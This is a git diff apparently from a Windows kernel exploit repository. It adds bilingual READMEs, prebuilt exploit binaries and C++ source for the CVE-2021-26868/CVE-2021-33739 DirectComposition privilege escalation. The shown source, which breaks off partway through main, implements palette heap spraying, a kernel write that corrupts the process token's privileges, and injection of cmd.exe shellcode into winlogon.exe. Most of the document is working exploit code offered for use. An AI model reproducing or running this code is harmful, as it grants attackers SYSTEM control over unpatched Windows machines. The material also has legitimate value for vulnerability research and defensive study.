| +| Windows Server | | 20H2 | | | + +#### Patch + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1732 +``` + +#### Utilization + +CompilerEnvironment + +- VS2019(V120)X64 Debug + +Here the test machine is Windows 10 1909 x64 + +![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-1732_windows_10_1909_x64.gif) + +#### Analyze +- https://www.freebuf.com/vuls/270295.html +- https://021w.github.io/2021/03/12/CVE-2021-1732Win32kfull-sys%E5%86%85%E6%A0%B8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/ +- https://laptrinhx.com/shen-ru-pou-xicve-2021-1732lou-dong-1153028117/ +- https://bbs.pediy.com/thread-266362.htm +- https://www.secrss.com/articles/29758 + +#### ProjectSource + +- [KaLendsi](https://github.com/KaLendsi/CVE-2021-1732-Exploit) \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-26868/CVE-2021-26868&CVE-2021-33739_x64.exe b/00-CVE_EXP/CVE-2021-26868/CVE-2021-26868&CVE-2021-33739_x64.exe new file mode 100644 index 0000000..588e904 Binary files /dev/null and b/00-CVE_EXP/CVE-2021-26868/CVE-2021-26868&CVE-2021-33739_x64.exe differ diff --git a/00-CVE_EXP/CVE-2021-26868/CVE-2021-26868&CVE-2021-33739_x86.exe b/00-CVE_EXP/CVE-2021-26868/CVE-2021-26868&CVE-2021-33739_x86.exe new file mode 100644 index 0000000..77bb15b Binary files /dev/null and b/00-CVE_EXP/CVE-2021-26868/CVE-2021-26868&CVE-2021-33739_x86.exe differ diff --git a/00-CVE_EXP/CVE-2021-26868/README.md b/00-CVE_EXP/CVE-2021-26868/README.md new file mode 100644 index 0000000..96b7501 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-26868/README.md @@ -0,0 +1,47 @@ +### CVE-2021-26868 + +#### 描述 + +Windows图形组件权限漏洞的提升 + +#### 影响版本 + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | ------------------ | +| Windows 10 | x64/x86 | 1607 | | | +| Windows 10 | x64/x86/ARM64 | 1803 | | | +| Windows 10 | x64/x86/ARM64 | 1809 | | | +| Windows 10 | x64/x86/ARM64 | 1909 | | ✔ | +| Windows 10 | x64/x86/ARM64 | 2004 | | | +| Windows 10 | x64/x86/ARM64 | 20H2 | | | +| Windows 10 | x64/x86/ARM64 | | | | +| Windows 8.1 | x64/x86 | | | | +| Windows RT 8.1 | | | | | +| Windows Server 2012 | | | | | +| Windows Server 2012 | | R2 | | | +| Windows Server 2016 | | | | | +| Windows Server 2019 | | | | | +| Windows Server | | 1909 | | | +| Windows Server | | 2004 | | | +| Windows Server | | 20H2 | | | + +#### 修复补丁 + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26868 +``` + +#### 利用方式 + +编译环境 + +- VS2019(V142)X64 Release +- VS2019(V142)X86 Release + +测试系统Windows 10 1909 X64 + +![CVE-2021-26868&CVE-2021-33739_win10_1909_x64](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-26868&CVE-2021-33739_win10_1909_x64.gif) + +#### 代码来源 + +- [mavillon1](https://github.com/mavillon1/CVE-2021-33739-POC) \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-26868/README_EN.md b/00-CVE_EXP/CVE-2021-26868/README_EN.md new file mode 100644 index 0000000..397f9e8 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-26868/README_EN.md @@ -0,0 +1,48 @@ +### CVE-2021-26868 + +#### Describe + +Windows Graphics Component Elevation of Privilege Vulnerability + + +#### ImpactVersion + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | ------------------ | +| Windows 10 | x64/x86 | 1607 | | | +| Windows 10 | x64/x86/ARM64 | 1803 | | | +| Windows 10 | x64/x86/ARM64 | 1809 | | | +| Windows 10 | x64/x86/ARM64 | 1909 | | ✔ | +| Windows 10 | x64/x86/ARM64 | 2004 | | | +| Windows 10 | x64/x86/ARM64 | 20H2 | | | +| Windows 10 | x64/x86/ARM64 | | | | +| Windows 8.1 | x64/x86 | | | | +| Windows RT 8.1 | | | | | +| Windows Server 2012 | | | | | +| Windows Server 2012 | | R2 | | | +| Windows Server 2016 | | | | | +| Windows Server 2019 | | | | | +| Windows Server | | 1909 | | | +| Windows Server | | 2004 | | | +| Windows Server | | 20H2 | | | + +#### Patch + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26868 +``` + +#### Utilization + +CompilerEnvironment + +- VS2019(V142)X64 Release +- VS2019(V142)X86 Release + +Test system Windows 10 1909 X64 + +![CVE-2021-26868&CVE-2021-33739_win10_1909_x64](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-26868&CVE-2021-33739_win10_1909_x64.gif) + +#### ProjectSource + +- [mavillon1](https://github.com/mavillon1/CVE-2021-33739-POC) \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-26868/exp.sln b/00-CVE_EXP/CVE-2021-26868/exp.sln new file mode 100644 index 0000000..de11ed6 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-26868/exp.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.28307.1062 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "exp", "exp\exp.vcxproj", "{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Debug|x64.ActiveCfg = Debug|x64 + {EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Debug|x64.Build.0 = Debug|x64 + {EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Debug|x86.ActiveCfg = Debug|Win32 + {EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Debug|x86.Build.0 = Debug|Win32 + {EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Release|x64.ActiveCfg = Release|x64 + {EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Release|x64.Build.0 = Release|x64 + {EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Release|x86.ActiveCfg = Release|Win32 + {EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {95E87A53-C105-414E-8786-A0627CD97286} + EndGlobalSection +EndGlobal diff --git a/00-CVE_EXP/CVE-2021-26868/exp/exp.cpp b/00-CVE_EXP/CVE-2021-26868/exp/exp.cpp new file mode 100644 index 0000000..77882eb --- /dev/null +++ b/00-CVE_EXP/CVE-2021-26868/exp/exp.cpp @@ -0,0 +1,680 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include "ntos.h" +#pragma comment(lib, "ntdll.lib") + +enum DCPROCESSCOMMANDID +{ + nCmdProcessCommandBufferIterator, + nCmdCreateResource, + nCmdOpenSharedResource, + nCmdReleaseResource, + nCmdGetAnimationTime, + nCmdCapturePointer, + nCmdOpenSharedResourceHandle, + nCmdSetResourceCallbackId, + nCmdSetResourceIntegerProperty, + nCmdSetResourceFloatProperty, + nCmdSetResourceHandleProperty, + nCmdSetResourceHandleArrayProperty, + nCmdSetResourceBufferProperty, + nCmdSetResourceReferenceProperty, + nCmdSetResourceReferenceArrayProperty, + nCmdSetResourceAnimationProperty, + nCmdSetResourceDeletedNotificationTag, + nCmdAddVisualChild, + nCmdRedirectMouseToHwnd, + nCmdSetVisualInputSink, + nCmdRemoveVisualChild +}; + + +typedef +NTSTATUS +(NTAPI *_NtDCompositionCreateChannel)( + OUT PHANDLE pArgChannelHandle, + IN OUT PSIZE_T pArgSectionSize, + OUT PVOID* pArgSectionBaseMapInProcess + ); + +typedef +NTSTATUS +(NTAPI* _NtDCompositionDestroyChannel)( + IN HANDLE ChannelHandle + ); + + +typedef +NTSTATUS +(NTAPI *_NtDCompositionProcessChannelBatchBuffer)( + IN HANDLE hChannel, + IN DWORD dwArgStart, + OUT PDWORD pOutArg1, + OUT PDWORD pOutArg2); + +typedef +NTSTATUS +(NTAPI* _NtDCompositionCommitChannel)( + IN HANDLE hChannel, + OUT PDWORD pOutArg1, + OUT PDWORD pOutArg2, + IN DWORD flag, + IN HANDLE Object); + +typedef +NTSTATUS +(NTAPI* _NtDCompositionCreateSynchronizationObject)( + void** a1 + ); + + +typedef NTSTATUS(WINAPI* _NtQuerySystemInformation)( + SYSTEM_INFORMATION_CLASS SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength); + +typedef NTSTATUS(NTAPI* _NtWriteVirtualMemory)( + HANDLE ProcessHandle, + void* BaseAddress, + const void* SourceBuffer, + size_t Length, + size_t* BytesWritten); + +typedef struct _EXPLOIT_CONTEXT { + PPEB pPeb; + _NtQuerySystemInformation fnNtQuerySystemInformation; + _NtWriteVirtualMemory fnNtWriteVirtualMemory; + + HANDLE hCurProcessHandle; + HANDLE hCurThreadHandle; + DWORD64 dwKernelEprocessAddr; + DWORD64 dwKernelEthreadAddr; + + DWORD previous_mode_offset; + + DWORD win32_process_offset; // EPROCESS->Win32Process + + DWORD GadgetAddrOffset; + DWORD ObjectSize; +}EXPLOIT_CONTEXT, * PEXPLOIT_CONTEXT; + +PEXPLOIT_CONTEXT g_pExploitCtx; + +SIZE_T GetObjectKernelAddress(PEXPLOIT_CONTEXT pCtx, HANDLE object) +{ + PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL; + ULONG handleInfoSize = 0x1000; + ULONG retLength; + NTSTATUS status; + SIZE_T kernelAddress = 0; + BOOL bFind = FALSE; + + while (TRUE) + { + handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize); + + status = pCtx->fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength); + + if (status == 0xC0000004 || NT_SUCCESS(status)) // STATUS_INFO_LENGTH_MISMATCH + { + LocalFree(handleInfo); + + handleInfoSize = retLength + 0x100; + handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize); + + status = pCtx->fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength); + + if (NT_SUCCESS(status)) + { + for (ULONG i = 0; i < handleInfo->NumberOfHandles; i++) + { + if ((USHORT)object == 0x4) + { + if (0x4 == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)object == (SIZE_T)handleInfo->Handles[i].HandleValue) + { + kernelAddress = (SIZE_T)handleInfo->Handles[i].Object; + bFind = TRUE; + break; + } + } + else + { + if (GetCurrentProcessId() == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)object == (SIZE_T)handleInfo->Handles[i].HandleValue) + { + kernelAddress = (SIZE_T)handleInfo->Handles[i].Object; + bFind = TRUE; + break; + } + } + } + } + + } + + if (handleInfo) + LocalFree(handleInfo); + + if (bFind) + break; + } + + return kernelAddress; +} + +void WriteMemory(void* dst, const void* src, size_t size) +{ + size_t num_bytes_written; + g_pExploitCtx->fnNtWriteVirtualMemory(GetCurrentProcess(), dst, src, size, &num_bytes_written); +} + +DWORD64 ReadPointer(void* address) +{ + DWORD64 value; + WriteMemory(&value, address, sizeof(DWORD64)); + return value; +} + +void WritePointer(void* address, DWORD64 value) +{ + WriteMemory(address, &value, sizeof(DWORD64)); +} + +BOOL InitEnvironment() +{ + g_pExploitCtx = new EXPLOIT_CONTEXT; + + g_pExploitCtx->fnNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQuerySystemInformation"); + g_pExploitCtx->fnNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtWriteVirtualMemory"); + + g_pExploitCtx->pPeb = NtCurrentTeb()->ProcessEnvironmentBlock; + + if (!DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(), &g_pExploitCtx->hCurProcessHandle, 0, FALSE, DUPLICATE_SAME_ACCESS) || + !DuplicateHandle(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), &g_pExploitCtx->hCurThreadHandle, 0, FALSE, DUPLICATE_SAME_ACCESS)) + return FALSE; + + g_pExploitCtx->dwKernelEprocessAddr = GetObjectKernelAddress(g_pExploitCtx, g_pExploitCtx->hCurProcessHandle); + g_pExploitCtx->dwKernelEthreadAddr = GetObjectKernelAddress(g_pExploitCtx, g_pExploitCtx->hCurThreadHandle); + + if (g_pExploitCtx->pPeb->OSMajorVersion < 10) + { + return FALSE; + } + + if (g_pExploitCtx->pPeb->OSBuildNumber < 17763 || g_pExploitCtx->pPeb->OSBuildNumber > 19042) + { + return FALSE; + } + + switch (g_pExploitCtx->pPeb->OSBuildNumber) + { + case 18362: + case 18363: + g_pExploitCtx->win32_process_offset = 0x3b0; + g_pExploitCtx->previous_mode_offset = 0x232; + g_pExploitCtx->GadgetAddrOffset = 0x50; + g_pExploitCtx->ObjectSize = 0x1a0; + break; + case 19041: + case 19042: + g_pExploitCtx->win32_process_offset = 0x508; + g_pExploitCtx->previous_mode_offset = 0x232; + g_pExploitCtx->GadgetAddrOffset = 0x38; + g_pExploitCtx->ObjectSize = 0x1d0; + break; + default: + break; + } + + return TRUE; +} + +DWORD64 where; + +HPALETTE createPaletteofSize1(int size) { + int pal_cnt = (size + 0x8c - 0x90) / 4; + int palsize = sizeof(LOGPALETTE) + (pal_cnt - 1) * sizeof(PALETTEENTRY); + LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palsize); + DWORD64* p = (DWORD64*)((DWORD64)lPalette + 4); + memset(lPalette, 0xff, palsize); + + p[0] = (DWORD64)0xffffffff; + p[3] = (DWORD64)0x04; + p[9] = g_pExploitCtx->dwKernelEthreadAddr + g_pExploitCtx->previous_mode_offset - 9 - 8; + + lPalette->palNumEntries = pal_cnt; + lPalette->palVersion = 0x300; + return CreatePalette(lPalette); +} + +HPALETTE createPaletteofSize2(int size) { + int pal_cnt = (size + 0x8c - 0x90) / 4; + int palsize = sizeof(LOGPALETTE) + (pal_cnt - 1) * sizeof(PALETTEENTRY); + LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palsize); + DWORD64* p = (DWORD64*)((DWORD64)lPalette + 4); + memset(lPalette, 0xff, palsize); + + p[0] = (DWORD64)0xffffffff; + p[3] = (DWORD64)0x04; + p[9] = where - 8 + 3; + + lPalette->palNumEntries = pal_cnt; + lPalette->palVersion = 0x300; + return CreatePalette(lPalette); +} + + +// run cmd.exe +unsigned char shellcode[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \ +"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \ +"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \ +"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \ +"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \ +"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \ +"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \ +"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \ +"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \ +"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \ +"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \ +"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \ +"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \ +"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \ +"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \ +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \ +"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \ +"\x78\x65\x00"; + +static const unsigned int shellcode_len = 0x1000; + + + +#define MAXIMUM_FILENAME_LENGTH 255 +#define SystemModuleInformation 0xb +#define SystemHandleInformation 0x10 + +void InjectToWinlogon() +{ + PROCESSENTRY32 entry; + entry.dwSize = sizeof(PROCESSENTRY32); + + HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); + + int pid = -1; + if (Process32First(snapshot, &entry)) + { + while (Process32Next(snapshot, &entry)) + { + if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0) + { + pid = entry.th32ProcessID; + break; + } + } + } + + CloseHandle(snapshot); + + if (pid < 0) + { + printf("Could not find process\n"); + return; + } + + HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + if (!h) + { + printf("Could not open process: %x", GetLastError()); + return; + } + + void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!buffer) + { + printf("[-] VirtualAllocEx failed\n"); + } + + if (!buffer) + { + printf("[-] remote allocation failed"); + return; + } + + if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0)) + { + printf("[-] WriteProcessMemory failed"); + return; + } + + HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0); + + if (hthread == INVALID_HANDLE_VALUE) + { + printf("[-] CreateRemoteThread failed"); + return; + } +} + + +#define TOKEN_OFFSET 0x40 //_SEP_TOKEN_PRIVILEGES offset + +HMODULE GetNOSModule() +{ + HMODULE hKern = 0; + hKern = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES); + return hKern; +} + +DWORD64 GetModuleAddr(const char* modName) +{ + PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20); + + DWORD outBuffer = 0; + NTSTATUS status = g_pExploitCtx->fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer); + + if (status == STATUS_INFO_LENGTH_MISMATCH) + { + free(buffer); + buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer); + status = g_pExploitCtx->fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer); + } + + if (!buffer) + { + printf("[-] NtQuerySystemInformation error\n"); + return 0; + } + + for (unsigned int i = 0; i < buffer->NumberOfModules; i++) + { + PVOID kernelImageBase = buffer->Modules[i].ImageBase; + PCHAR kernelImage = (PCHAR)buffer->Modules[i].FullPathName; + if (_stricmp(kernelImage, modName) == 0) + { + free(buffer); + return (DWORD64)kernelImageBase; + } + } + free(buffer); + return 0; +} + + +DWORD64 GetKernelPointer(HANDLE handle, DWORD type) +{ + PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20); + + DWORD outBuffer = 0; + NTSTATUS status = g_pExploitCtx->fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer); + + if (status == STATUS_INFO_LENGTH_MISMATCH) + { + free(buffer); + buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(outBuffer); + status = g_pExploitCtx->fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer); + } + + if (!buffer) + { + printf("[-] NtQuerySystemInformation error \n"); + return 0; + } + + for (size_t i = 0; i < buffer->NumberOfHandles; i++) + { + DWORD objTypeNumber = buffer->Handles[i].ObjectTypeIndex; + + if (buffer->Handles[i].UniqueProcessId == GetCurrentProcessId() && buffer->Handles[i].ObjectTypeIndex == type) + { + if (handle == (HANDLE)buffer->Handles[i].HandleValue) + { + DWORD64 object = (DWORD64)buffer->Handles[i].Object; + free(buffer); + return object; + } + } + } + printf("[-] handle not found\n"); + free(buffer); + return 0; +} + +DWORD64 GetGadgetAddr(const char* name) +{ + DWORD64 base = GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe"); + HMODULE mod = GetNOSModule(); + if (!mod) + { + printf("[-] leaking ntoskrnl version\n"); + return 0; + } + DWORD64 offset = (DWORD64)GetProcAddress(mod, name); + DWORD64 returnValue = base + offset - (DWORD64)mod; + //printf("[+] FunAddr: %p\n", (DWORD64)returnValue); + FreeLibrary(mod); + return returnValue; +} + +DWORD64 PsGetCurrentCProcessData() +{ + DWORD64 dwWin32ProcessAddr = ReadPointer((void*)( g_pExploitCtx->dwKernelEprocessAddr + g_pExploitCtx->win32_process_offset) ); + return ReadPointer((void*)(dwWin32ProcessAddr + 0x100)); +} + +void RestoreStatus() +{ + DWORD64 dwCGenericTableAddr = ReadPointer((void *)PsGetCurrentCProcessData()); + + WritePointer((void*)dwCGenericTableAddr, 0); + WritePointer((void*)( dwCGenericTableAddr + 8 ), 0); + WritePointer((void*)(dwCGenericTableAddr + 16), 0); + + byte value = 1; + WriteMemory((void*)(g_pExploitCtx->dwKernelEthreadAddr + g_pExploitCtx->previous_mode_offset), &value, sizeof(byte)); +} + + +int main(int argc, TCHAR* argv[]) +{ + HANDLE hChannel; + NTSTATUS ntStatus; + SIZE_T SectionSize = 0x500000; + PVOID pMappedAddress = NULL; + DWORD dwArg1, dwArg2; + + if (!InitEnvironment()) { + printf("[-] Inappropriate Operating System\n"); + return 0; + } + + LoadLibrary(TEXT("user32")); + + LPVOID pV = VirtualAlloc((LPVOID)0xffffffff, 0x100000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + if (!pV) + { + printf("[-] Failed to allocate memory at address 0xffffffff, please try again!\n"); + return 0; + } + DWORD64* Ptr = (DWORD64*)0xffffffff; + DWORD64 GadgetAddr = GetGadgetAddr("SeSetAccessStateGenericMapping"); + + //printf("[+] found SeSetAccessStateGenericMapping addr at: %p\n", (DWORD64)GadgetAddr); + + memset(Ptr, 0xff, 0x1000); + *(DWORD64*)((DWORD64)Ptr + g_pExploitCtx->GadgetAddrOffset ) = GadgetAddr; + + + HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId()); + if (!proc) + { + printf("[-] OpenProcess failed\n"); + return 0; + } + HANDLE token = 0; + if (!OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token)) + { + printf("[-] OpenProcessToken failed\n"); + return 0; + } + + DWORD64 ktoken = GetKernelPointer(token, 0x5); + where = ktoken + TOKEN_OFFSET; + + _NtDCompositionCreateChannel NtDCompositionCreateChannel; + NtDCompositionCreateChannel = (_NtDCompositionCreateChannel)GetProcAddress(LoadLibrary(L"win32u.dll"), "NtDCompositionCreateChannel"); + + _NtDCompositionDestroyChannel NtDCompositionDestroyChannel; + NtDCompositionDestroyChannel = (_NtDCompositionDestroyChannel)GetProcAddress(LoadLibrary(L"win32u.dll"), "NtDCompositionDestroyChannel"); + + _NtDCompositionProcessChannelBatchBuffer NtDCompositionProcessChannelBatchBuffer; + NtDCompositionProcessChannelBatchBuffer = (_NtDCompositionProcessChannelBatchBuffer)GetProcAddress(LoadLibrary(L"win32u.dll"), "NtDCompositionProcessChannelBatchBuffer"); + + _NtDCompositionCommitChannel NtDCompositionCommitChannel; + NtDCompositionCommitChannel = (_NtDCompositionCommitChannel)GetProcAddress(LoadLibrary(L"win32u.dll"), "NtDCompositionCommitChannel"); + + _NtDCompositionCreateSynchronizationObject NtDCompositionCreateSynchronizationObject; + NtDCompositionCreateSynchronizationObject = (_NtDCompositionCreateSynchronizationObject)GetProcAddress(LoadLibrary(L"win32u.dll"), "NtDCompositionCreateSynchronizationObject"); + + void* p = 0; + ntStatus = NtDCompositionCreateSynchronizationObject(&p); + + // create a new channel + ntStatus = NtDCompositionCreateChannel(&hChannel, &SectionSize, &pMappedAddress); + if (!NT_SUCCESS(ntStatus)) { + printf("Create channel error!\n"); + return -1; + } + + + *(DWORD*)(pMappedAddress) = nCmdCreateResource; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)1; + *(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)0x59; //DirectComposition::CInteractionTrackerBindingManagerMarshaler + *(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE; + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2); + + *(DWORD*)(pMappedAddress) = nCmdCreateResource; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)2; + *(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)0x58; //DirectComposition::CInteractionTrackerMarshaler + *(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE; + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2); + + *(DWORD*)(pMappedAddress) = nCmdCreateResource; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)3; + *(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)0x58; //DirectComposition::CInteractionTrackerMarshaler + *(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE; + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2); + + *(DWORD*)(pMappedAddress) = nCmdCreateResource; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)4; + *(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)0x58; //DirectComposition::CInteractionTrackerMarshaler + *(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE; + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2); + // + // set argument of NtDCompositionProcessChannelBatchBuffer + // + + DWORD* szBuff = (DWORD*)malloc(4 * 3); + + szBuff[0] = 0x02; + szBuff[1] = 0x03; + szBuff[2] = 0xffff; + + *(DWORD*)pMappedAddress = nCmdSetResourceBufferProperty; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)(1); // CInteractionTrackerBindingManagerMarshaler + *(DWORD*)((PUCHAR)pMappedAddress + 8) = 0; + *(DWORD*)((PUCHAR)pMappedAddress + 0xc) = 12; + CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, 12); + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + 12, &dwArg1, &dwArg2); + if (ntStatus != 0) + { + printf("error!\n"); + return 0; + } + + szBuff[0] = 0x02; + szBuff[1] = 0x03; + szBuff[2] = 0x0; + + *(DWORD*)pMappedAddress = nCmdSetResourceBufferProperty; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)(1); + *(DWORD*)((PUCHAR)pMappedAddress + 8) = 0; + *(DWORD*)((PUCHAR)pMappedAddress + 0xc) = 12; + CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, 12); + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + 12, &dwArg1, &dwArg2); + + *(DWORD*)pMappedAddress = nCmdReleaseResource; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)2; + *(DWORD*)((PUCHAR)pMappedAddress + 8) = 8; + + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2); + if (ntStatus != 0) + { + printf("error!\n"); + return 0; + } + for (size_t i = 0; i < 0x5000; i++) + { + createPaletteofSize1(g_pExploitCtx->ObjectSize); + } + + *(DWORD*)pMappedAddress = nCmdReleaseResource; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)3; + *(DWORD*)((PUCHAR)pMappedAddress + 8) = 8; + + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2); + if (ntStatus != 0) + { + printf("error!\n"); + return 0; + } + for (size_t i = 0; i < 0x5000; i++) + { + createPaletteofSize2(g_pExploitCtx->ObjectSize); + } + + szBuff[0] = 0x04; + szBuff[1] = 0x04; + szBuff[2] = 0xffff; + + *(DWORD*)pMappedAddress = nCmdSetResourceBufferProperty; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)(1); + *(DWORD*)((PUCHAR)pMappedAddress + 8) = 0; + *(DWORD*)((PUCHAR)pMappedAddress + 0xc) = 12; + CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, 12); + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + 12, &dwArg1, &dwArg2); + + if (ntStatus != 0) + { + printf("error!\n"); + return 0; + } + + + NtDCompositionCommitChannel(hChannel, &dwArg1, &dwArg2, 0, p); + + + 